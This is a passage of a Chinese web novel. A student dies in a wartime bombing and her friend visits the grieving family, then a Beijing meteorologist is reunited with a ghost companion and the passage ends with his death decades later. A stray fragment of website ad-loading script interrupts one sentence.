林钰文慌乱地扑过去,这才发现齐叙欢身上的温度烫得惊人:“阿叙,你怎么了,我们马上就快到了,你快起来。” 她的眼泪一滴一滴砸在齐叙欢身上,很快洇湿了一片衣裳。 但是齐叙欢双眼紧闭,她已经骨瘦如柴,脸颊的肉塌陷下去,眼窝深凹如同只剩两个窟窿,甚至胸膛也看不见一丝呼吸的起伏。 林钰文掏出怀里那个一直没舍得吃的、早已失水干瘪的苹果,啃下一小块喂到齐叙欢嘴里,但是齐叙欢一动不动,浑身透着一股死亡的气息。 绝望之际,天边再次响起可怖的日军飞机的轰鸣,林钰文头也不抬,坚持想要把苹果送进齐叙欢嘴里,她哭着恳求:“阿叙,你得吃啊,不能不吃啊,你吃完我们回家好不好?” 也许是回家两个字起了作用,齐叙欢的眼皮几不可见地抽搐了下。 她半睁开眼,用颤抖的手拿出藏在胸前的学生证,用尽最后的力气撕成两半,将带着照片的那一半塞到林钰文手里。 虽然她什么都没说,但是林钰文懂了,她哭着道:“我一定会带你回家的,我们要一起回家。” 一颗颗的炮弹掉落山林,拖着长长的尾焰,尖锐的呼啸刺破苍穹,浓烟熏染了整片天空,整个山谷仿佛都在颤抖。 这里是暴露点,林钰文努力想要拖着齐叙欢去更安全的地方,但是筋疲力竭之下两人双双摔倒在地。 她眼泪汹涌而出但是想再次尝试,忽然齐叙欢瘦弱的手握住她的手,嘴唇动了动似乎要说什么。 林钰文跪下来侧耳到她嘴边:“你要说什么?” 齐叙欢的意识已经模糊,能够感觉到自己的生命正在不停消逝,她费力嚅动干涩苍白的嘴唇,用气音艰难地说了几个字。 但是漫天都爆炸的声音,让林钰文听不清她在说什么,她索性将齐叙欢搀起来:“阿叙,我们先走,你待会儿再跟我说。” 然而这一次,齐叙欢只是轻笑了下。 在林钰文还没懂她为什么要笑之前,齐叙欢突然不知从何而来的力气,像是将殆尽的生命全然汇聚在此刻,一把将她推向更高的地方。 接着,一颗炮弹正中下来,巨大的爆炸力将两人彻底分开,掀向不同的方向。 齐叙欢再次跌向深谷,她的身体不由自主地贴地翻滚许久,最终停在一片深厚的草丛当中。 在生命最后的天光里,她看见山林被炮火烧成了火海,树叶变成灰烬,四周都充斥着刺鼻的焦味和浓烟。 要是下一场雨就好了,她想。 如果能下一场大雨,彻底洗净这片土地上的硝烟战火,让满目疮痍的山河重焕生机,让无数同胞的冤魂得以安息。 让太阳再次从地平线上升起来时,照亮的,是一个和平安宁的中华大地...... # 林钰文醒来时,发现自己躺在医院的病床上,她迷茫地看向围在自己身边的教授同学,看着他们脸上悲痛的表情,顿了顿,然后一把掀开被子准备往外走。 王松吾连忙拦住她:“钰文,你现在......” “阿叙呢?”林钰文抓着他问,“阿叙在哪儿?” 王松吾眼眶霎时就红了,他挣开林钰文的手站到一边,不说话,其他几个同学也都纷纷避开她的视线,似乎谁也不想第一个说出来。 林钰文不管,她鞋都没穿直奔门口,黄尹梦见状从后面抱住她:“你现在去也没用,我们所有师生都过去找过了,没有找到她!” “没找到就是还活着!”林钰文不停反抗她的束缚,“我要去找阿叙!” 一忍再忍的王松吾终于吼出声:“阿叙根本就撑不下来!” 这句话似是一柄利刃,自上而下穿进林钰文的头骨,但她一滴泪也流不出来,只能睁大眼睛麻木地看向王松吾:“什么意思?” 王松吾抽噎了下说:“你跟阿叙失踪之后,我和杨教授带着其他同学在大山里转了好几天,但因为不熟悉进不去,好不容易在山里找到一个村寨,求着村民带我们进山去找你们,但是等我们赶到的时候,只看见了昏迷的你,而除了你所在的平地,周围全部都是山崖,如果阿叙跟你当时的情况一样,或许找回来还有救,但是你昏迷了八天,我们也找了八天,能找的地方都找了,可是怎么都找不到她,这种身体情况她再独自摔下山崖,根本就挺不过这么长时间。” “不可能。”林钰文环视一圈周围的同学,眼泪倏然决堤,“我们说好要一起回家的。” 王松吾再也控制不住地嚎啕大哭:“她才十九岁,她才只有十九岁。” 一片嘈杂中,林钰文感到有什么东西从口袋中滑出来,是齐叙欢最后塞给她的半张学生证,上面贴着一张照片。 照片中,齐叙欢笑得青涩而灿烂。 看着那张年轻的脸,林钰文缓缓蹲下来,抱着那张残缺的学生证痛哭出声。 学校试图通知齐叙欢的家里人,但因为她是从家里偷跑出来,学生档案上写的假地址,又因为不想被父母知道她在哪,入学两年她和家里没有任何书信往来。 换言之,除了姓名,没有人知道她到底是谁。 杨教授将这一切告诉林钰文的时候,她静静坐在学校的台阶上,定定望着天边凄艳的晚霞,眼底只剩一片深深的哀伤和绝望。 这种状态几乎影响了林钰文的整个大学生涯,为此,她不得已延毕一年,直到1945年6月才正式毕业。 她回到山东老家,但是没有办法正常的工作和生活,只要一闭上眼,齐叙欢最后的样子就会重现在她脑海。 可偶尔,林钰文发现齐叙欢的样子慢慢有些模糊。 每当这时,她就会翻出珍藏的那半张学生证,一遍一遍地看,努力将齐叙欢的样子记下来,防止自己忘记她的脸。 是痛苦,也是记忆。 痛苦的记忆是她苟延残喘活在人世的证明。 直到胜利的那一天,大街小巷到处洋溢着欢乐的气氛,林钰文走出家门,人潮涌动欢呼雀跃,每个人脸上都挂着喜悦和自豪,报童一边狂奔一边高喊:“鬼子滚蛋了!中国胜利了!” 跑过林钰文身边时,报童塞给她一份报纸:“鬼子滚蛋了!中国胜利了!”然后他跑远,嘴里喊着同样的话,给每位路人都塞了一份免费的报纸。 林钰文拿起报纸看了一眼,无意中瞥见右下角的寻人启事,仿佛被一道突如其来的惊雷劈中,整个人瞬间僵立。 她不可置信地将那则寻人启事看了好几遍,确定上面要找的人,叫齐叙欢。 林钰文的眼眶立马湿润了,无法言说的愧疚和痛苦倾泻而出,因为她,一个原本美好幸福的家庭,再也无法完整了。 她迅速收拾好行李,带上齐叙欢的半张学生证,当天下午就赶去了报纸上写的地址。 ——齐叙欢的家。 到达地方后,映入眼帘的是一片白。 门楣之下,白色的灯笼静静悬挂,白色的挽联随风轻轻摇曳,房屋周围的树木枝头也挂满了白色飘带,周围无一不透露着悲伤而沉重的气息。 大门被人从里面推开,推门的少年看见站在门口的林钰文,警惕地打量了她一眼:“你是?” 林钰文回过神,看见少年胳膊上的黑布,视线上移,望向这张和齐叙欢几分相似却更加稚嫩的脸,轻声说:“我叫林钰文,是齐叙欢的同学。” 少年的眼神蓦然变了几变,怀疑,震惊,失望,到最后的接受。 他深吸一口气,打开门说:“你随我进来吧。” 林钰文抬步跟着他进去,走进大门,穿过院子,少年带着他走到一处偏僻的屋子,关门前又仔细看了看屋外,似乎是在躲着什么人。 落座后,少年给她倒了杯热水,道:“我叫阮敬和,是齐叙欢的弟弟。” 看出林钰文表情里的疑惑,阮敬和在她发问之前解释:“我随母姓,我哥和我姐随父姓。” “阮先生。” 林钰文叫完之句,千言万语突然梗在喉间,准备想说的话却在此刻一句也说不出来。 倒是阮敬和反过来问她:“我姐什么时候出的事?” 林钰文猛然抬起头,惊愕地看着云淡风轻问出这句话的阮敬和。 “我知道我姐去上大学了。”阮敬和平静地说,“而且不仅我知道,我爸妈也都知道,就是不知道她去的哪所大学,所有就只能等她毕业了回来,算算时间,两年前我姐就该毕业了,但是她没回来。” “虽然我们全家心里都隐隐有了猜测,但是没人说出来,我爸为了找我姐,带着一身病出去奔波了好几年,前段时间到底扛不住过世了。” 林钰文心头一震:“您节哀。” 阮敬和瞟一眼林钰文身后窗外的院子,风卷落叶,万分苍凉。 他收回目光,低声说道:“但是你来,我就大概知道什么意思了。” “对不起。”林钰文低下头,眼泪砸进水杯里,滚烫的水花溅出来,落在她用力绷紧的手背上。 她将自己和齐叙欢从相识到贵州的事情,一字一句,毫无保留地告诉了阮敬和,讲述过程中,尽管她努力克制,但还是忍不住地眼泪滑落,说到最后几欲失言,喉咙像是被无形的手掐住,再也无法发出一点声音。 而反观对面的阮敬和,自始至终没有什么情绪起伏,面容沉静如水,仿佛一座狂风暴雨中不可动摇的山峦。 林钰文哽咽着将半张学生证拿出来,轻轻放在桌面:“这是阿叙最后留给我的东西,我想,应该要还给你们。” 阮敬和低眸凝视着那张静止的照片,脑中好似能想到齐叙欢撕开学生证时的画面,就像他还能记起,当初齐叙欢为了拍这张照片,哄骗他一起去了照相馆,那天下午人多,因为等的时间长了他闹脾气,齐叙欢从旁边的摊位上买了豌豆黄哄他。 他眨了眨酸涩的眼睛,伸手将东西推还回去:“学生证你留着吧。” 林钰文摇了摇头:“这本该是......” “听我说。”阮敬和打断她的话,然后他无言静默两秒,表情深邃不知道在想什么,但是林钰文从他的眼神中看出他有那么一瞬间的挣扎,但很快又被什么决绝的东西所取代。 接着,林钰文听见他说:“不是没找到吗,那我就相信我姐姐还没死,学生证你留着,等她回来的时候你再亲手交给她。” 可是他又说。 “如果回不来了,就当留个念想。” 林钰文不知道该如何回应。 如果要说念想,她就是凭着这股归还学生证的念想活到现在,阮敬和同样也看出来了,所以他希望她凭着这个念想,能再继续好好地活下去。 “另外。”阮敬和突然出声,极是肃穆的口吻,“这件事情以后不要再向任何人提起。” 林钰文不能理解地看向他,看着这个外表稚嫩,却比预想中更加成熟稳重的少年。 迎着窗外冷光,阮敬和淡笑了下,眉宇间不经意泄出一抹沉痛:“不瞒你说,我姐离家前半年,我大哥在战场上牺牲了,这也是我爸妈不愿意让我姐去上大学的原因,现下,我爸又刚走,如果再让我妈知道这件事,我怕她身体撑不住。所以这件事情,最好不要让她听见一个字。” 末了,他苦涩地笑笑:“一样的,让她活个念想。” 离开时,阮敬和亲自将林钰文送到门口。 随着大门缓缓阖上,仿佛宣告了一段故事就此被尘封在时光里。 林钰文回头看了一眼古朴的大门,阳光落在她的脸上,像一只柔软的手,在最后温柔地抚摸着她的脸颊。 天边飞鸟划过,她的眼角落下一滴眼泪,心里比以往任何一次都要难过。 林钰文不知道的是,在她身后,在她几步路过的那间房屋里,有一间小小的祠堂。 一位失去了儿子又失去了丈夫的母亲,用尽她余生所有的时光,跪在佛像前真诚地祈求,祈求自己不知所踪的女儿,以后无论在何时何地,都能有饭吃,有衣穿。 37. 第三十七场雨 十月的北京,天空高远而清澈,阳光高高地照在校园的建筑上,倏然所有颜色变得鲜活明亮起来,微凉的秋风卷起几片落叶,在空中旋转飞舞。 学校里已经放假,实验楼里一片静谧,两个学生抱着书本穿过空旷的走廊,身影被尽头的光在地面上拉长,明暗交错的光影里蓦然泛起几分萧瑟。 走过第七间实验室时,他们没有任何交流,默契地同时加快了离开的步伐。 因为这一墙之隔实验室里的人,正是那位脾气古怪、难以捉摸的科研狂人——不成数理教授。 传言中说他一年三百六十五天,除去必要的教学和休息,剩下的日子里,早八晚六雷打不动地待在实验室里。 他要求学生研究苛刻严谨,但是从来不会生气,就算是学生捅了大篓子,他也不会因此多说什么,而是悉心倾听学生的疑惑,耐心引导学生找到问题所在,然后共同解决。 但在生活上,他又提醒学生们要劳逸结合,记得准时上床睡觉。 这本该是所有研究生都向往的神仙导师,领域大拿,负责,认真,事儿少。 然而底下的学生们却说,正因为这位这样,才显得他更加可怕。 他们说:“其实不成教授是个很好的人,他会平等地对待每一个学生,也很尊重每一个学生,唯独他看你的那个眼神,就会让你觉得,他平等而尊重地将每一个学生看作是垃圾。” 隔壁组刚被导师折磨完的学生愤愤抱怨:“事少人好生活规律,这样的导师还不知足?” “不不不。”学生竖起一根手指,果断摇了摇,“你不觉得就是因为他生活太规律,所以看上去很没有希望吗?” “很没有希望”的程教授正在处理一堆很有希望的邮件。 世界权威期刊的论文录用通知,全球顶尖气象实验室的邀请函,以及新一届国际气象大会的参会请柬,以及数不清的各大论坛的邀请信。 程澍礼点开气象大会那封,迅速在键盘上敲了几个字回过去,其他的一概没理。 刚关上电脑,李多聿的电话就打进来了:“晚上翰林书院,来吗?” “不去。”程澍礼开着免提回答,脱掉实验服换上外套。 李多聿问:“又回家喂小狗?” 自从程澍礼搬到西城的胡同小院之后,他就鲜少出来和朋友相聚,拒绝的理由永远是同一个,回家喂小狗,包括十分钟前的那封邮件。 虽然现在已经算是大狗了。 但今天不是,程澍礼拿起车钥匙,语气平淡道:“去趟恭王府。” 李多聿明显愣了下:“哦对,今儿个中秋。” 这是程澍礼搬出去这几年养成的第二个习惯,每年中秋都会去稻香村买几盒糕点,哪怕排着长队也风雨无阻。 程澍礼嗯了声:“帮我给李叔李姨带个好。” 黄昏西上,城市的街道亮起灯火,四环以内开始大面积交通拥堵,程澍礼的车速不急不缓,随着车流慢吞吞地朝前开。 等红灯时,他偏过头,漫不经心地瞥了眼左边步行道,几个青春洋溢的年轻女孩子走过,她们或是低头私语,又或是放声大笑,转角的晚风扬起她们的发尾,夜幕下的画面充满生机和活力。 程澍礼收回视线,踩下油门跟上前面的车辆。 今年中秋程教授和钟主任出国旅游,所以从稻香村买完糕点出来,程澍礼直接回了西城胡同。 一二三四五六听见汽车的引擎声,早早地端坐成一排,守在门口等着程澍礼进来。 院门推开的一瞬间,六只小狗立刻一拥而上扑过来,围在程澍礼腿边撒欢,程澍礼挨个摸下它们的狗头,小狗们兴奋地汪汪直叫。 天气晴朗,整个夜空只有一轮白白的大月亮。 程澍礼打开糕点放在桌子正中央,然后从木盒子里取出线香和香插,每次他一做这个动作,一二三四五六就蹲到各自的狗盆旁边,等着他点完线香分狗粮。 趁着过节,程澍礼给它们加了个餐,一狗一块硕大的鸡胸肉。 小狗们呼哧吃饭时,阿尧打过来一个视频通话:“程教授,中秋快乐啊!” 程澍礼笑着回应:“中秋快乐。” “快让我看看傻狗们,在你家还撒尿吗?”卓客脑袋凑过来,硬将阿尧挤到一边。 程澍礼将镜头调转过来对准小狗,卓客哟嚯一声:“长这么胖啦!” 梁晶晶说:“会不会说话,那是程教授养得好。” 几人你一言我一语地跟程澍礼聊了会儿,那边开始上菜,挂电话前,阿尧说了每年都会说的那句话:“程教授,啥时候回来看看呗。” 吃饱喝足之后,一二三四五六陪着程澍礼到院子里赏月。 院子里树叶随风摇晃,墙角海棠花清香四溢,程澍礼躺在老爷椅上,怀里随意摊着一本没看完的书,他的手臂闲闲搭在扶手,手指在灯光下垂落几道细影。 他静静看着天上的无垠月色,面容平和,周身说不上来的的慵懒和平静,好似早已和世间万物一起归于沉寂,一二三四五六趴在旁边的地面上,闭着眼卧爪酣眠。 这是很多个下班之后的夜晚,一人六狗再平淡不过的生活。 ...... 中秋后的第二天,学生发消息向程澍礼求助,论文开题遇到了困难。 两人约在学校办公室,程澍礼认真听完学生的疑惑和难题,然后仔细看了一遍她已经完成的部分,最终摘下眼镜,不得不遗憾地通知她:“你所有的东西都要改。” 听见这话,那学生差点哭出来:“程老师,我是不是您收过的最差的学生啊?” “不是。”程澍礼立马否认,然后他停了几秒,想了想才说:“之前有人跟我说,人就像一粒种子,要好好浇水施肥才能茁壮成长,但如果强迫自己一直跟别人比,那就是揠苗助长,只要我们是一粒好种子,能长成健康的水稻就好。” 程澍礼看着眼前的学生,缓声道:“所以这几年我都在思考一个问题,其实老师教学生就像培育水稻,并不是要求大家都能高产丰收,我的作用就在于,有的学生刚开始是一株刚开花的稻株,我让他毕业的时候结出稻穗,有的学生可能还没发芽,他毕业的时候能开出稻花,老师就是让这些发育情况不同的水稻,都能够有所成长,所以你只要是一粒好种子,哪怕比别人长得慢一点,但一定是在积蓄生长的力量,最后也能长成健康的水稻。” 这番安慰一定程度上抚平了学生的焦虑,她点点头说:“谢谢程老师。” 程澍礼说:“没事,有不会的再联系我。” 学生走后,办公室里只剩程澍礼一人。 他站在窗边,低头望着外面的阳光,回想起自己刚才竟然说了那么长的一番话,而且对方还不觉得烦,越想越觉得有些荒唐,程澍礼兀自轻笑了下。 正想着,桌上的手机响起,来电人是定期来家里的清洁阿姨。 阿姨的语气特别焦急:“程教授啊,我早上从家里给你带了点月饼水果,然后放在桌上去干活,一转头回来全都没有了,我怕您家是不是进小偷了啊?” 程澍礼转身拿起车钥匙:“您不要在家里待着,现在赶紧出来。” “我......我出来了。”阿姨声音哆嗦,“我把一二三四五六也带出来了,但是它们应该是闻见生人味儿了,一直特别躁动,就想往院子里冲呢。” 程澍礼没多想,开着车缓慢行驶,直到出校门才一脚油门加速离开。 阿姨费力地拽着六根狗绳,但无奈一二三四五六已经是健壮的成年犬,阿姨的力气根本阻挡不住它们拼命扑门的动作。 程澍礼迅速停好车,迈着大步走过来,从阿姨手里接过狗绳,稍稍用力就稳住了六只狗,他问阿姨:“家里还丢了别的东西吗?” 阿姨回忆了下:“还真没有,就少了点吃的,不然我就先报警再打电话给您了。” 程澍礼一边推开门,一边跟她确认:“只有吃的?” 阿姨说:“就少了月饼和水果。” 踏进院子的那一刻,程澍礼脑子里不知怎么像过电一样,突然蹦出一个不太可能的想法。 他回过头问阿姨:“您动过我桌上的线香吗?” 阿姨怔了好一会儿,表情里浮出一丝歉意:“真不好意程教授,我本来打算用我们那熏香给您家去去味的,但是看您那香插里还剩半截,就直接给点上了,我真没......” “我知道了。”程澍礼站在门口,眼底情绪幽如深潭,“您先回去,今天的事不要告诉任何人。” 阿姨还是担心,踮脚昂头朝里头望了望:“要不要报警啊?” 程澍礼说:“不用,您先回吧。” 他尽最大努力让自己看上去没有什么异常,全程保持冷静,不疾不徐又催了一遍阿姨,看着她的身影一步三回头的消失在胡同尽头。 程澍礼关上院门,放开手里的狗绳后,才发现自己手心不知何时沁出一层薄汗,与此同时,他心跳如鼓,眼眸紧紧锁住半掩的家门。 挣脱束缚的一二三四五六立马就挨个冲进家门,程澍礼站在屋外,远远地就能听见它们在家里高兴地上蹿下跳。 接下来的每一步都尤为沉重,似是踩在心跳上,心脏仿佛被无形的力量揉搓挤压,程澍礼近乎忘记了呼吸,他伸手,缓缓推开那扇门。 门后空无一人,屋子里寂然如同一汪死水。 希望落空似是悬在上方的尖刀正入心脏,但是程澍礼感觉不到痛,相反,是一股难以言喻的空虚和失落浇头而下,他大脑一片空白,无力地坐到墙边的椅子上。 他低头看着地面,双手无意识地来回摩挲,试图以此消解此刻的无助和茫然。 “程澍礼,你怎么才回来啊!” 仿佛濒死的生命被人猛地一拽,重新跃入明亮鲜活的人世间。 程澍礼震惊抬头,棠又又坐在楼梯拐角的位置,像以前无数次那样双手托腮地看着他,嘴里小声埋怨:“我都等了好久了。” 程澍礼浑身僵硬顿了好几秒,他不可置信地站起身,一开口嗓子都哑了:“你......” 棠又又表情也着点迷茫,忍不住叹口气道:“不要问我,我也不知道为什么。” 正午时分,阳光灿烂,从院子里斜下笔直一道,他们一个站在墙边,一个坐在楼梯上,安静地望向彼此的眼睛。 没人知道这默然的对视里,蹉跎了多少光阴。 “卓客说......”程澍礼再开口时,声音仍然有些沙哑,“他说我把一二三四五六养得很好。” 棠又又笑一下:“它们现在胖得跟小猪一样。” 程澍礼说:“大顺在朋友的马场,每天都有好好跑步。” 棠又又说:“你什么时候带我去看看?” “院子里种了一棵很大的海棠花。” “我看到啦。” “每年中秋,我都给你买稻香村。” “吃了,一般。” 最后,程澍礼嗓音微颤:“我现在喜欢下雨了。” 然而执念消失,她出现时已经不会再下雨,静默半晌,棠又又轻声叫他:“程澍礼。” 程 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 澍礼没有回答,他不敢再发出任何声音,仿佛害怕惊动一个美好而脆弱的梦境。 棠又又从楼梯上站起来,走过阳光,走到他的身边,目光落在他脸上,瞳底微微倒映着他的每一丝表情。 “我能不能理解成......”她的声音很小,像雨水轻轻落下,“你想我了。” 程澍礼眼眶泛起一片雾气,但他还是笑着说:“我的推断没错,无论在哪,我都一定会遇到你。” “变态的严谨。”棠又又不服气地嘀咕了句。 说完,她伸出双手,紧紧地抱住了程澍礼。 程澍礼蓦然僵在了原地,虽然棠又又的身体又冰又冷,可他感到有一股暖流霎时席卷全身,每一根神经都不可自抑地紧绷,带来三十多年从未有体会过的安全感。 他想说话,被棠又又快而决绝地打断:“闭嘴。” 触碰活人需要魂力,而魂力很珍贵,她在用她最珍贵的东西安慰程澍礼,希望他能好一点。 伸手抱紧她的时候,程澍礼也觉得自己好了一点。 屋外,院子里,一二三四五六排排坐,眯着眼睛扬起脑袋,用圆圆的鼻尖亲吻温暖的阳光。 微风四起,卷起一地散落的白色海棠花瓣,渐渐汇成一股梦幻般的轻盈漩涡,在半空中肆意飞舞流淌,直到缓缓流向更加广袤的天空。 阳光遍洒大地,世间安宁明亮,今天是个极好的天气。 # 从那天中秋之后,李多聿发现程澍礼变了,变得愿意和他们出门了。 这会儿,他们就自驾到了丰宁坝上。 天空如碧,远处白桦层林尽染,阳光映照在一望无际的草原,四处都洒满了金色的光芒,风景美丽得像一幅波澜壮阔的油画。 程澍礼和李多聿坐在树下,边喝茶边随意聊天。 在这么惬意的风景面前,李多聿却一点也不惬意,因为他想了很久也没想明白程澍礼这突然转变的由来,就像他不懂,为什么程澍礼要花钱请人遛一匹没人坐的马。 付钱的时候,程澍礼跟马主人说:“您牵着马,绕着附近好看的地方走几圈就行。” 景祎打马出发之前,打趣说他是好作慈善的冤大头。 冤大头此刻坐在李多聿身边,戴着墨镜看着不远处正慢悠悠散步的大马,嘴角凝着一抹满足而温和的笑意。 李多聿问了嘴:“看马遛弯这么高兴?” 程澍礼发自内心地微扬下颚:“高兴。” 这一下给李多聿逗笑了,但是心里却无比舒坦,虽然不知道是为什么,但他明显感觉程澍礼整个人跟前几年的状态不一样了,从棋山回来那会儿他跟丢了魂一样,而现在,一眼看上去是活了。 不仅如此,他甚至愿意注册微.博账号了。 这一举动带来的直接后果,便是景祎微博的主页访问量呈直线上升,程澍礼一整个是拿她的微博当旅游路书来使。 李多聿扶下墨镜,看向策马扬鞭英姿飒爽的景祎,问程澍礼:“下个地儿想去哪儿啊?” 程澍礼故意放慢语气:“下个地儿想去哪儿?” 这话在别人听来是重复,但是落在棠又又耳朵里却是问题,她从马上直起身子,胡乱一指山那头,脸上扬起一个大大的笑容:“想去内蒙,吃烤全羊!” 程澍礼接着就跟李多聿说:“去内蒙吧,尝尝那边的羊羔子。” 李多聿回他:“你这生活挺潇洒啊。” 程澍礼但笑不语。 棠又又回来之后,程澍礼不再终日泡在实验室里,而是按照正常时间教学研究,但一如既往地推却不必要的社交应酬。 多出来的时间他要留给自己和棠又又,回归正常生活,四处看看大好河山,所以短短一个月的时间,他们就去过了青岛、潮汕和浏阳。 对此钟主任并无意见。 或者说已经不觉得这是个值得讨论的问题。 因为如今她和程澍礼之间的矛盾,早已从是否留驻北京的地域性问题,转移到程澍礼宣布不婚主义的个人生活哲学问题。 想到这个,李多聿问:“讲真的,你不结婚也不恋爱,真的不会孤独吗?” “一点也不。”程澍礼温和道,“我有一匹马,六条狗。”还有个棠又又,他在心里这样说。 程澍礼戴着墨镜,李多聿看不见他的表情,但依然能从半张侧脸分辨出他的坚决。 “行。”李多聿转过头,笑着望向远山璀璨的云霞,“山河辽阔,值得走走。” 漫山遍野的黄昏里,棠又又悠然地依偎在马背上,听着大马轻快而富有韵律的脚步声,身体随之一颠一颠,感觉好像在被一股浪轻轻推着。 她倍感幸福地笑了出来。 山河辽阔,她好爱这片土地。 # 五十六年后,海棠花落的季节,著名气象学家程澍礼被好友发现在家中逝世。 这位享誉国内外备受尊崇的气象学泰斗,终生未婚,却足迹遍布大江南北,将全部的热情和生命投注在他所热爱的气象事业,传递新知,连接天地,真正做到了为科学奉献一生。 而面对死亡,他也展现出超乎常人的淡然和洒脱。 程澍礼似乎早已接受了这一天的到来,自己亲手收拾好一切,静静地躺在床上,在他最后的表情里,人们看不到一丝痛苦和挣扎,只有平静,从容,和一种了无遗憾的幸福。 他的手边,摆放着他仅有的两件遗物。 一双款式老旧的小皮鞋,和一张字迹潦草的纸张。 “祝你随便拿的苹果都甜!”